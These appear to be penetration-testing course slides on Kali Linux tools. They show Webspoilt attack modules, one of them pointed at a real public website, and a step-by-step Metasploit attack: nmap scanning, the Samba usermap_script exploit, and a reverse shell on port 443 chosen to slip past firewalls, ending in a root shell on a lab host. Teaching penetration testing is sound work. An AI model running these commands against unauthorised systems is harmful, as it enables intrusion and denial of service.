ServerSide Attacks (Contd)

Tools in Kali Linux

Module #19

Kali Linux: Webspoilt tool

Webspoilt is an Open Source tool used for scanning and analyzing remote systems to find vulnerabilities.

Webspoilt is available under Web Applications → Web Application Fuzzers

Terminal Window will open up with the list of available modules

Typing 'show modules' will help you to see what is required to run a specific module

Kali Linux: Webspoilt tool

```
Network Modules                    Description
-------------------                --------------------
network/arp_dos                    ARP Cache Denial Of Service Attack
network/mfod                       Middle Finger Of Doom Attack
network/mitm                       Man In The Middle Attack
network/mlitm                      Man Left In The Middle Attack
network/webkiller                  TCP Kill Attack
network/fakeupdate                 Fake Update Attack Using DNS Spoof
network/fakeap                     Fake Access Point


Exploit Modules                    Description
-------------------                --------------------
exploit/autopwn                    Metasploit Autopwn Service
exploit/browser_autopwn            Metasploit Browser Autopwn Service
exploit/java_applet                Java Applet Attack (Using HTML)


Wireless Modules                   Description
-------------------                --------------------
wifi/wifi_jammer                   Wifi Jammer
wifi/wifi_dos                      Wifi Dos Attack


wsf >
```

Kali Linux: Webspoilt tool

```
wsf > use network/webkiller
wsf:WebKiller > set TARGET http://www.thesecurityblogger.com
TARGET =>  http://www.thesecurityblogger.com
wsf:WebKiller > RUN
```

Kali Linux: Exploitation

Final output from Reconnaissance step should be the list of targets with potential vulnerabilities.

Next step – to prioritize each target for attack, mapping the effort required for exploiting potential vulnerabilities.

Tools available in Kali Linux are most ideal for identifying and exploiting vulnerabilities on the servers

Kali Linux: Metaspoilt

One of the most popular tools for exploiting server-side attacks.

Considered one of the most useful tools for Penetration Testers.

HD Moore created it in 2003.

Used as a legitimate Penetration Testing tool, as well as a tool used by attackers to conduct unauthorized exploitation of systems

How is Metasploit used for server-side exploitation for testing potential web applications?

Kali Linux: Metaspoilt

First step: Open up a console and type in msfconsole to launch Metsaploit

Most popular way to launch Metasploit

Provides a user interface to access the entire Metasploit framework

Basic commands such as help and show will allow you to navigate through Metasploit

Will allow to invoke underlying OS commands such as ping or nmap

Metaspoilt requires Postgresql installed and started as a pre-requisite

Kali Linux: Metaspoilt

Kali-Linux-1.1.0a-vbox-amd64 [Running] - Oracle VM VirtualBox

Applications Places Tue Jan 9, 2:48 AM root

root@kali: ~

File Edit View Search Terminal Help

```
Reading package lists... Done
Building dependency tree
Reading state information... Done
postgresql is already the newest version.
postgresql set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
root@kali:~# msfconsole
[*] Starting the Metasploit Framework console.../

Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]
+ -- --=[ 1412 exploits - 802 auxiliary - 229 post        ]
+ -- --=[ 361 payloads - 37 encoders - 8 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
```

root@kali: ~

Right Ctrl

Kali Linux: Metaspoilt

In our first step, we will use nmap to scan the local network. The results can be automatically added into Metasploit using an XML file.

```
msf > nmap -n -oX my.xml 172.16.189.0/24
[*] exec: nmap -n -oX my.xml 172.16.189.0/24
```

root@kali# db_import my.xml

A quick check of the host commands shows that our import is successful and Metasploit now has the nmap data.

Kali Linux: Metaspoilt

```
msf > db_import my.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.5.2'
[*] Importing host 172.16.189.1
[*] Importing host 172.16.189.5
[*] Importing host 172.16.189.131
[*] Successfully imported /root/my.xml
msf > hosts
Hosts
=====
address         mac               name  os_name  os_flavor  os_sp  purpose
o  comments
-------         ---               ----  -------  ---------  -----  -------
172.16.189.1    00:50:56:3F:00:6B       Unknown                    device

172.16.189.5                            Unknown                    device

172.16.189.131  00:50:56:9F:51:33       Unknown                    device
msf >
```

Kali Linux: Metaspoilt

We will also issue the services command to view the services available within Metasploit. The following is an example output of the service command:

```
172.16.189.1     22    tcp    ssh               open
172.16.189.1     80    tcp    http              open
172.16.189.1     199   tcp    smux              open
172.16.189.1     256   tcp    fw1-secureremote  open
172.16.189.1     259   tcp    esro-gen          open
172.16.189.1     1720  tcp    h.323/q.931       open
172.16.189.1     443   tcp    https             open
172.16.189.1     900   tcp    omginitialrefs    open
172.16.189.1     264   tcp    bgmp              open
172.16.189.5     111   tcp    rpcbind           open
172.16.189.131   22    tcp    ssh               open
172.16.189.131   21    tcp    ftp               open
172.16.189.131   23    tcp    telnet            open
172.16.189.131   25    tcp    smtp              open
172.16.189.131   53    tcp    domain            open
172.16.189.131   80    tcp    http              open
172.16.189.131   139   tcp    netbios-ssn       open
172.16.189.131   445   tcp    microsoft-ds      open
172.16.189.131   3306  tcp    mysql             open
172.16.189.131   5432  tcp    postgresql        open
172.16.189.131   8009  tcp    ajp13             open
172.16.189.131   8180  tcp    unknown           open
msf >
```

Kali Linux: Metaspoilt

You can perform scanning for nmap and importing the XML file into the Metasploit database in one step by using the command db_nmap .

```
msf > db nmap -n -A 172.16.189.131
```

Kali Linux: Metaspoilt

Verify that Metasploit has the relevant information in its database issuing the hosts and services commands. The services command reveals we are using Samba file sharing

```
Services
========
host             port  proto  name          state  info
----             ----  -----  ----          -----  ----
172.16.189.131   21    tcp    ftp           open   ProFTPD 1.3.1
172.16.189.131   22    tcp    ssh           open   OpenSSH 4.7p1 Debian 8ubuntu1
protocol 2.0
172.16.189.131   23    tcp    telnet        open   Linux telnetd
172.16.189.131   25    tcp    smtp          open   Postfix smtpd
172.16.189.131   53    tcp    domain        open
172.16.189.131   80    tcp    http          open   Apache httpd 2.2.8 (Ubuntu) PH
P/5.2.4-2ubuntu5.10 with Suhosin-Patch
172.16.189.131   139   tcp    netbios-ssn   open   Samba smbd 3.X workgroup: WORK
GROUP
172.16.189.131   445   tcp    microsoft-ds  open
172.16.189.131   3306  tcp    mysql         open   MySQL 5.0.51a-3ubuntu5
172.16.189.131   5432  tcp    postgresql    open   PostgreSQL DB 8.3.0 - 8.3.7
172.16.189.131   8009  tcp    ajp13         open   Apache Jserv Protocol v1.3
172.16.189.131   8180  tcp    http          open   Apache Tomcat/Coyote JSP engin
e 1.1
```

Kali Linux: Metaspoilt

There are several Samba exploits available with individual rankings.

We will use the usermap_script exploit.

This module exploits the command execution vulnerability in Samba Versions 3.0.20 through 3.0.25rc3

More information about this exploit can be found at http://www.metasploit.com/modules/exploit/multi/samba/usermap_script

Kali Linux: Metaspoilt

```
172.16.189.131  3306  tcp    mysql         open   MySQL 5.0.51a-3ubuntu5
172.16.189.131  5432  tcp    postgresql    open   PostgreSQL DB 8.3.0 - 8.3.7
172.16.189.131  8009  tcp    ajp13         open   Apache Jserv Protocol v1.3
172.16.189.131  8180  tcp    http          open   Apache Tomcat/Coyote JSP engin
e 1.1

msf > search samba type:exploit platform:unix

Matching Modules
================

   Name                                          Disclosure Date          Rank
       Description
   ----                                          ---------------          ----
       -----------
   exploit/linux/samba/setinfopolicy_heap        2012-04-10 00:00:00 UTC  norm
al     Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   exploit/multi/samba/usermap_script            2007-05-14 00:00:00 UTC  exce
llent  Samba "username map script" Command Execution
   exploit/unix/webapp/citrix_access_gateway_exec  2010-12-21 00:00:00 UTC  exce
llent  Citrix Access Gateway Command Execution
msf >
```

Kali Linux: Metaspoilt

We will also issue the services command to view the services available within Metasploit. The following is an example output of the service command:

```
172.16.189.1     22    tcp    ssh               open
172.16.189.1     80    tcp    http              open
172.16.189.1     199   tcp    smux              open
172.16.189.1     256   tcp    fw1-secureremote  open
172.16.189.1     259   tcp    esro-gen          open
172.16.189.1     1720  tcp    h.323/q.931       open
172.16.189.1     443   tcp    https             open
172.16.189.1     900   tcp    omginitialrefs    open
172.16.189.1     264   tcp    bgmp              open
172.16.189.5     111   tcp    rpcbind           open
172.16.189.131   22    tcp    ssh               open
172.16.189.131   21    tcp    ftp               open
172.16.189.131   23    tcp    telnet            open
172.16.189.131   25    tcp    smtp              open
172.16.189.131   53    tcp    domain            open
172.16.189.131   80    tcp    http              open
172.16.189.131   139   tcp    netbios-ssn       open
172.16.189.131   445   tcp    microsoft-ds      open
172.16.189.131   3306  tcp    mysql             open
172.16.189.131   5432  tcp    postgresql        open
172.16.189.131   8009  tcp    ajp13             open
172.16.189.131   8180  tcp    unknown           open
msf >
```

Kali Linux: Metaspoilt

To use a specific exploit, we issue the use command. In this case:

```
msf > search samba type:exploit platform:unix

Matching Modules
================

   Name                                              Disclosure Date          Rank
       Description
   ----                                              ---------------          ----
       -----------
   exploit/linux/samba/setinfopolicy_heap            2012-04-10 00:00:00 UTC  norm
al     Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   exploit/multi/samba/usermap_script                2007-05-14 00:00:00 UTC  exce
llent  Samba "username map script" Command Execution
   exploit/unix/webapp/citrix_access_gateway_exec    2010-12-21 00:00:00 UTC  exce
llent  Citrix Access Gateway Command Execution
msf > use exploit/multi/samba/usermap_script
```

Kali Linux: Metaspoilt

Once an exploit is selected, we need to see what information is required before we can execute the selected exploit.
We do this by identifying the required options listed in the output and selecting a payload we want to deliver. We issue the command show options to view the required options:

```
msf > use exploit/multi/samba/usermap_script
msf  exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf  exploit(usermap_script) >
```

Kali Linux: Metaspoilt

We can see from this example that we need an RHOST entry.

RHOST is the IP address of the remote host we are attacking.

We also need to select the payload and set the payload options.

A payload is code that injects itself and runs the exploit.

Since the same vulnerability can exist using multiple methods, we can possibly have multiple payloads to choose from.

To see the available payloads, issue the show payloads command.

Kali Linux: Metaspoilt

```
   cmd/unix/bind_netcat_ipv6                    normal  Unix Command Shell, Bind TCP (via n
etcat -e) IPv6
   cmd/unix/bind_perl                           normal  Unix Command Shell, Bind TCP (via P
erl)
   cmd/unix/bind_perl_ipv6                      normal  Unix Command Shell, Bind TCP (via p
erl) IPv6
   cmd/unix/bind_ruby                           normal  Unix Command Shell, Bind TCP (via R
uby)
   cmd/unix/bind_ruby_ipv6                      normal  Unix Command Shell, Bind TCP (via R
uby) IPv6
   cmd/unix/generic                             normal  Unix Command, Generic Command Execu
tion
   cmd/unix/reverse                             normal  Unix Command Shell, Double reverse
TCP (telnet)
   cmd/unix/reverse_netcat                      normal  Unix Command Shell, Reverse TCP (vi
a netcat -e)
   cmd/unix/reverse_perl                        normal  Unix Command Shell, Reverse TCP (vi
a Perl)
   cmd/unix/reverse_python                      normal  Unix Command Shell, Reverse TCP (vi
a Python)
   cmd/unix/reverse_ruby                        normal  Unix Command Shell, Reverse TCP (vi
a Ruby)
msf  exploit(usermap_script) >
```

Kali Linux: Metaspoilt

Once we see a payload that we want to use, the next step is to use the set payload command and put in the patch name of the payload we see.

```
   cmd/unix/bind_perl                          normal  Unix Command Shell, Bind TCP (via P
erl)
   cmd/unix/bind_perl_ipv6                     normal  Unix Command Shell, Bind TCP (via p
erl) IPv6
   cmd/unix/bind_ruby                          normal  Unix Command Shell, Bind TCP (via R
uby)
   cmd/unix/bind_ruby_ipv6                     normal  Unix Command Shell, Bind TCP (via R
uby) IPv6
   cmd/unix/generic                            normal  Unix Command, Generic Command Execu
tion
   cmd/unix/reverse                            normal  Unix Command Shell, Double reverse
TCP (telnet)
   cmd/unix/reverse_netcat                     normal  Unix Command Shell, Reverse TCP (vi
a netcat -e)
   cmd/unix/reverse_perl                       normal  Unix Command Shell, Reverse TCP (vi
a Perl)
   cmd/unix/reverse_python                     normal  Unix Command Shell, Reverse TCP (vi
a Python)
   cmd/unix/reverse_ruby                       normal  Unix Command Shell, Reverse TCP (vi
a Ruby)
msf  exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf  exploit(usermap_script) >
```

Kali Linux: Metaspoilt

For this payload, we need to set the LHOST and the LPORT .

The LHOST is the local host or your Metasploit attacker box.

The exploit makes the remote host connect back to the system hosting Metasploit, so the remote host needs to know IP address

We also set the port the remote host will use to communicate with Metasploit

To escape firewalls, best is to use a common port such as port 443 , since it is usually reserved for SSL traffic, which most corporations allow outbound.

Kali Linux: Metaspoilt

```
   RHOST  172.16.189.131   yes       The target address
   RPORT  139              yes       The target port
Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   --------------   --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf  exploit(usermap_script) > set LHOST 172.16.189.5
LHOST => 172.16.189.5
msf  exploit(usermap_script) > set LPORT 443
LPORT => 443
msf  exploit(usermap_script) > exploit
```

Kali Linux: Metaspoilt

```
msf  exploit(usermap_script) > set LHOST 172.16.189.5
LHOST => 172.16.189.5
msf  exploit(usermap_script) > set LPORT 443
LPORT => 443
msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BySs63KAtbI6fYyQ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "BySs63KAtbI6fYyQ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.189.5:443 -> 172.16.189.131:45720) at 2013-04-1
6 15:14:05 -0500

whoami
root
```

Thank You